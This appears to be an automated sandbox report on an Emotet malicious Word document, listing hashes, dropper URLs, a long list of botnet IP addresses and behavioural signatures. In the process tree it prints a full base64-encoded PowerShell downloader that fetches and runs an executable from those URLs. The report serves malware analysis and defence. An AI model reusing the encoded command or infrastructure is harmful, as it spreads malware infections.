emotet | 8ebe3eb8f2fc91787e217da76d31b3108744220f6cd2a5b74fc6b57c9c681317

Analysis

max time kernel
149s
max time network
155s
platform
windows10_x64
resource
win10
submitted
20/10/2020, 20:19

Sharing

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General

Target
0H2TFXOG4.doc
Size 163KB
Sample201020-d8a4yr86ax
SHA256 8ebe3eb8f2fc91787e217da76d31b3108744220f6cd2a5b74fc6b57c9c681317
MD5 cfd2d3a887a84e0805e359b8dd6c5097
SHA1 6b1581ed3d24da455f7b46abbe221d70f98d8966
SHA512 c898ef220e00e271a0bbd5d9305197ccf364421bdc8815b0f7a3217092a29fea347e477cc21452819ee020131637ca861da976e92de9cfa0a909c6b4544f64d5
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://gapuragamapersada.com/wp-content/YOZ/
exe.dropper
http://www.venompremiumshop.com/wp-admin/VjAVARP/
exe.dropper
http://thedailysmile.com/2012-tiffin/sF/
exe.dropper
http://beta.osjusa.org/wp-includes/p/
exe.dropper
http://sweet-diet.com/of365/IiMs/
exe.dropper
http://concrecasa.cl/wp-admin/5s/
exe.dropper
http://abstractexplosion.com/fire/yrBzh/
exe.dropper
http://dagostim.com.br/fill/t3Pk/

Extracted

Family

emotet

Botnet

Epoch2

75.188.96.231:80
72.10.36.104:8080
167.114.153.111:8080
72.249.144.95:8080
80.241.255.202:8080
71.72.196.159:80
164.160.45.41:8080
203.153.216.189:7080
185.94.252.104:443
142.112.10.95:20
61.19.246.238:443
220.245.198.194:80
37.139.21.175:8080
108.46.29.236:80
209.54.13.14:80
87.106.136.232:8080
87.106.139.101:8080
176.111.60.55:8080
130.0.132.242:80
94.200.114.161:80
47.144.21.12:443
139.162.60.124:8080
123.176.25.234:80
75.139.38.211:80
94.23.237.171:443
202.141.243.254:443
190.108.228.27:443
104.131.11.150:443
121.7.31.214:80
113.61.66.94:80
118.83.154.64:443
62.30.7.67:443
172.104.97.173:8080
68.252.26.78:80
89.216.122.92:80
46.105.131.79:8080
37.187.72.193:8080
124.41.215.226:80
91.211.88.52:7080
139.162.108.71:8080
72.143.73.234:443
61.33.119.226:443
89.121.205.18:80
109.74.5.95:8080
79.98.24.39:8080
78.24.219.147:8080
5.39.91.110:7080
62.75.141.82:80
93.147.212.206:80
209.141.54.221:7080
24.230.141.169:80
104.131.123.136:443
50.245.107.73:443
78.188.106.53:443
103.86.49.11:8080
95.9.5.93:80
49.50.209.131:80
83.110.223.58:443
186.74.215.34:80
95.213.236.64:8080
79.137.83.50:443
121.124.124.40:7080
47.36.140.164:80
153.164.70.236:80
71.15.245.148:8080
24.137.76.62:80
208.180.207.205:80
74.214.230.200:80
188.219.31.12:80
139.99.158.11:443
66.76.12.94:8080
172.91.208.86:80
162.241.140.129:8080
168.235.67.138:7080
216.139.123.119:80
137.59.187.107:8080
139.59.60.244:8080
190.240.194.77:443
76.171.227.238:80
181.126.74.180:80
140.186.212.146:80
110.145.77.103:80
69.206.132.149:80
157.245.99.39:8080
98.174.164.72:80
104.131.44.150:8080
190.29.166.0:80
97.82.79.83:80
194.4.58.192:7080
120.150.218.241:443
96.245.227.43:80
218.147.193.146:80
110.142.236.207:80
24.179.13.119:80
49.3.224.99:8080
94.230.70.6:80
194.187.133.160:443
50.35.17.13:80
50.91.114.38:80
174.106.122.139:80
91.146.156.228:80
120.150.60.189:80
123.142.37.166:80
5.196.108.189:8080
74.208.45.104:8080
174.45.13.118:80
173.63.222.65:80
162.241.242.173:8080
76.175.162.101:80
184.180.181.202:80
75.143.247.51:80
102.182.93.220:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2456	1164	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/4160-11-0x00000000005F0000-0x0000000000609000-memory.dmp	emotet
behavioral2/memory/4160-12-0x0000000002130000-0x0000000002148000-memory.dmp	emotet
behavioral2/memory/4224-15-0x0000000002140000-0x0000000002159000-memory.dmp	emotet
behavioral2/memory/4224-16-0x0000000002160000-0x0000000002178000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
16	2456	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
4160	Tsirqh6k.exe
4224	setup16.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\recover\setup16.exe	Tsirqh6k.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3908	WINWORD.EXE
3908	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2456	POwersheLL.exe
2456	POwersheLL.exe
2456	POwersheLL.exe
4224	setup16.exe
4224	setup16.exe
4224	setup16.exe
4224	setup16.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2456	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
4160	Tsirqh6k.exe
4224	setup16.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4160 wrote to memory of 4224	4160	Tsirqh6k.exe	83
PID 4160 wrote to memory of 4224	4160	Tsirqh6k.exe	83
PID 4160 wrote to memory of 4224	4160	Tsirqh6k.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0H2TFXOG4.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3908

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD IAAgAFMARQB0AC0AaQBUAGUAbQAgACAAKAAnAFYAQQByAEkAJwArACcAQQBiACcAKwAnAEwAZQA6AHoAJwArACcAYQA5AHAAMgAnACkAIAAgACgAWwBUAFkAcABFAF0AKAAnAHMAJwArACcAeQBzACcAKwAnAHQAJwArACcAZQBtAC4ASQBvAC4AZABpAHIAZQBjAFQAbwByAFkAJwApACAAIAApACAAIAA7ACAAUwBFAHQALQBWAEEAUgBJAGEAQgBMAGUAIAAgACgAJwBuADcAJwArACcASgBtAFkAJwApACAAKAAgAFsAdAB5AHAAZQBdACgAJwBTAHkAcwBUAEUAbQAnACsAJwAuAG4AJwArACcAZQB0AC4AJwArACcAUwBlAHIAdgBJAGMAJwArACcARQBwACcAKwAnAG8AJwArACcAaQBuAHQATQBBACcAKwAnAE4AQQBnAGUAJwArACcAUgAnACkAIAAgACkAOwAgACAAIAAgACQATQBCADcANgB0ACAAPQAgAFsAVABZAHAAZQBdACgAJwBzAFkAcwBUACcAKwAnAGUATQAuAG4AJwArACcARQB0AC4AcwBFAEMAdQByAGkAVAB5AHAAcgBvACcAKwAnAFQATwBjACcAKwAnAG8AbAAnACsAJwBUAFkAUABlACcAKQAgACAAOwAgACAAJABSADkAagBxADIAYwA4AD0AKAAnAFoAcABsACcAKwAnADEAMwBlAHUAJwApADsAJABFAGEAdQAzAGQAdgBiAD0AJABLAGEAdQBfADAAdgB5ACAAKwAgAFsAYwBoAGEAcgBdACgAOAAwACAALQAgADMAOAApACAAKwAgACQATwBuAGEAbQA2AGMAagA7ACQARQBqAGQAZwBsAHYAbAA9ACgAJwBPAHMAZAB3AF8AOAAnACsAJwB3ACcAKQA7ACAAIAAkAFoAYQA5AFAAMgA6ADoAQwByAEUAYQB0AGUAZABJAFIARQBjAHQAbwByAHkAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAHsAMAB9ACcAKwAnAEQAcgBsACcAKwAnAGQAJwArACcAYQBsAHgAewAwAH0AUQAnACsAJwB5ACcAKwAnADIAYgBiADkANgB7ACcAKwAnADAAJwArACcAfQAnACkAIAAtAGYAIAAgAFsAQwBIAGEAcgBdADkAMgApACkAOwAkAEQAbgB3AGIAbwA3AG0APQAoACcARwB3ACcAKwAnADgAbgAnACsAJwBiAHYAXwAnACkAOwAgACAAKAAgAGcAQwBpACAAIAAoACcAVgAnACsAJwBBAHIAJwArACcAaQBBAEIAbABlADoAbgA3AGoATQBZACcAKQApAC4AVgBhAGwAdQBFADoAOgBzAEUAQwBVAHIAaQBUAHkAcAByAE8AVABPAEMAbwBsACAAPQAgACAAIAAkAG0AYgA3ADYAVAA6ADoAdABMAFMAMQAyADsAJABFAGMAdgB0AGIAbgBiAD0AKAAnAFIAcgBwACcAKwAnAHIAcgBjAHkAJwApADsAJABZAGcAMwB5AGEAdgBkACAAPQAgACgAJwBUAHMAaQByAHEAJwArACcAaAA2AGsAJwApADsAJABaADkAMQB6ADAAYQBfAD0AKAAnAEUAcAAnACsAJwA4ACcAKwAnAG0AZABzADIAJwApADsAJABVAG0AOABxADcAeABnAD0AKAAnAEcAJwArACcAdwAnACsAJwB1AG0AcwByADAAJwApADsAJABZAHEAYwB6AHIAawB5AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAB9AEQAcgBsAGQAYQBsAHgAewAwAH0AUQB5ACcAKwAnADIAYgAnACsAJwBiADkAJwArACcANgB7ACcAKwAnADAAfQAnACkALQBGACAAIABbAEMAaABhAFIAXQA5ADIAKQArACQAWQBnADMAeQBhAHYAZAArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQASAB3AGIAcQBtAGYAMgA9ACgAJwBLADAAawB4ADMAJwArACcAbQAnACsAJwB5ACcAKQA7ACQAUwB0AGwAegBzAGUAdwA9AG4ARQBgAHcALQBgAG8AYABCAEoAZQBjAFQAIABuAGUAVAAuAFcARQBiAGMAbABJAGUATgBUADsAJABPAG0AeABoAHgAcwAxAD0AKAAnAGgAdAB0AHAAcwA6AC8ALwAnACsAJwBnAGEAcAB1AHIAYQBnAGEAbQAnACsAJwBhAHAAZQByAHMAYQBkAGEALgBjAG8AJwArACcAbQAvAHcAcAAtACcAKwAnAGMAbwBuAHQAZQAnACsAJwBuACcAKwAnAHQAJwArACcALwAnACsAJwBZAE8AWgAnACsAJwAvACoAaAB0AHQAcAA6AC8ALwAnACsAJwB3ACcAKwAnAHcAJwArACcAdwAuAHYAJwArACcAZQBuAG8AJwArACcAbQBwACcAKwAnAHIAZQBtAGkAJwArACcAdQBtAHMAaABvAHAALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGEAJwArACcAZABtAGkAbgAvAFYAagBBAFYAQQBSAFAALwAqACcAKwAnAGgAJwArACcAdAB0ACcAKwAnAHAAOgAvAC8AdABoAGUAZAAnACsAJwBhAGkAJwArACcAbAB5AHMAbQBpACcAKwAnAGwAZQAuACcAKwAnAGMAbwBtAC8AMgAwACcAKwAnADEAJwArACcAMgAtAHQAaQBmAGYAaQBuAC8AcwBGAC8AKgBoAHQAJwArACcAdABwADoAJwArACcALwAvAGIAZQB0AGEALgAnACsAJwBvAHMAagB1ACcAKwAnAHMAYQAuAG8AcgBnAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AcAAvACoAaAB0ACcAKwAnAHQAcAA6AC8ALwBzAHcAZQBlACcAKwAnAHQALQAnACsAJwBkACcAKwAnAGkAZQB0AC4AYwBvACcAKwAnAG0ALwAnACsAJwBvAGYAJwArACcAMwA2ADUALwBJACcAKwAnAGkATQBzAC8AKgBoAHQAdABwACcAKwAnADoALwAvAGMAbwBuAGMAcgBlACcAKwAnAGMAJwArACcAYQBzAGEALgAnACsAJwBjAGwAJwArACcALwB3AHAAJwArACcALQBhAGQAbQBpAG4AJwArACcALwA1ACcAKwAnAHMALwAqAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AYQAnACsAJwBiAHMAdAByAGEAYwB0ACcAKwAnAGUAeABwAGwAJwArACcAbwBzAGkAbwBuAC4AYwBvAG0ALwBmAGkAcgBlAC8AeQAnACsAJwByAEIAegAnACsAJwBoACcAKwAnAC8AKgBoAHQAdABwADoALwAvAGQAYQAnACsAJwBnAG8AJwArACcAcwB0AGkAbQAuAGMAbwAnACsAJwBtAC4AYgByACcAKwAnAC8AJwArACcAZgAnACsAJwBpAGwAbAAvAHQAMwBQAGsAJwArACcALwAnACkALgBzAFAATABpAFQAKAAkAE0AZwB5ADcAMAA1AGIAIAArACAAJABFAGEAdQAzAGQAdgBiACAAKwAgACQAVAAzAHEAbgByAHkAYQApADsAJABNAHoAYgBzAHEAbABfAD0AKAAnAFAAcQBiADkAbgB0ACcAKwAnAGcAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABLAGQAMQBzADIAbAA3ACAAaQBuACAAJABPAG0AeABoAHgAcwAxACkAewB0AHIAeQB7ACQAUwB0AGwAegBzAGUAdwAuAEQAbwB3AE4ATABPAEEARABGAEkATABlACgAJABLAGQAMQBzADIAbAA3ACwAIAAkAFkAcQBjAHoAcgBrAHkAKQA7ACQAWQB1ADcAbAA1AGQAawA9ACgAJwBPAHoAegB2AHoAbgAnACsAJwBfACcAKQA7AEkAZgAgACgAKABnAGAAZQB0AC0ASQBgAFQARQBtACAAJABZAHEAYwB6AHIAawB5ACkALgBMAGUATgBHAHQASAAgAC0AZwBlACAAMwA2ADEANgA1ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACcAdwBpAG4AMwAyAF8AJwArACcAUAByAG8AYwBlAHMAJwArACcAcwAnACkAKQAuAEMAcgBlAEEAdABlACgAJABZAHEAYwB6AHIAawB5ACkAOwAkAE8AZwBjAGsAZwB1AGcAPQAoACcAQQBqACcAKwAnAHMANABlAGEAaAAnACkAOwBiAHIAZQBhAGsAOwAkAE8AcAA5ADQAegA4AG4APQAoACcATwA5ADMAJwArACcAdwBvACcAKwAnADAAaQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAXwA0AG4AZQB3ADMAPQAoACcAUwBlADQANgAnACsAJwAzAHkAcQAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2456

C:\Users\Admin\Drldalx\Qy2bb96\Tsirqh6k.exe
C:\Users\Admin\Drldalx\Qy2bb96\Tsirqh6k.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4160
- C:\Windows\SysWOW64\recover\setup16.exe
  "C:\Windows\SysWOW64\recover\setup16.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:4224

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2456-6-0x00007FF8D6A10000-0x00007FF8D73FC000-memory.dmp

Download

memory/2456-8-0x000002709E680000-0x000002709E681000-memory.dmp

Download

memory/2456-7-0x000002709E340000-0x000002709E341000-memory.dmp

Download

memory/3908-4-0x0000020489801000-0x0000020489812000-memory.dmp

Download

memory/3908-5-0x00000204899C6000-0x00000204899C9000-memory.dmp

Download

memory/3908-0-0x00007FF8DE140000-0x00007FF8DE806000-memory.dmp

Download

memory/3908-3-0x0000020489801000-0x0000020489812000-memory.dmp

Download

memory/3908-2-0x0000020489801000-0x0000020489812000-memory.dmp

Download

memory/3908-1-0x00000204897FC000-0x0000020489801000-memory.dmp

Download

memory/4160-11-0x00000000005F0000-0x0000000000609000-memory.dmp

Download

memory/4160-12-0x0000000002130000-0x0000000002148000-memory.dmp

Download

memory/4224-15-0x0000000002140000-0x0000000002159000-memory.dmp

Download

memory/4224-16-0x0000000002160000-0x0000000002178000-memory.dmp

Download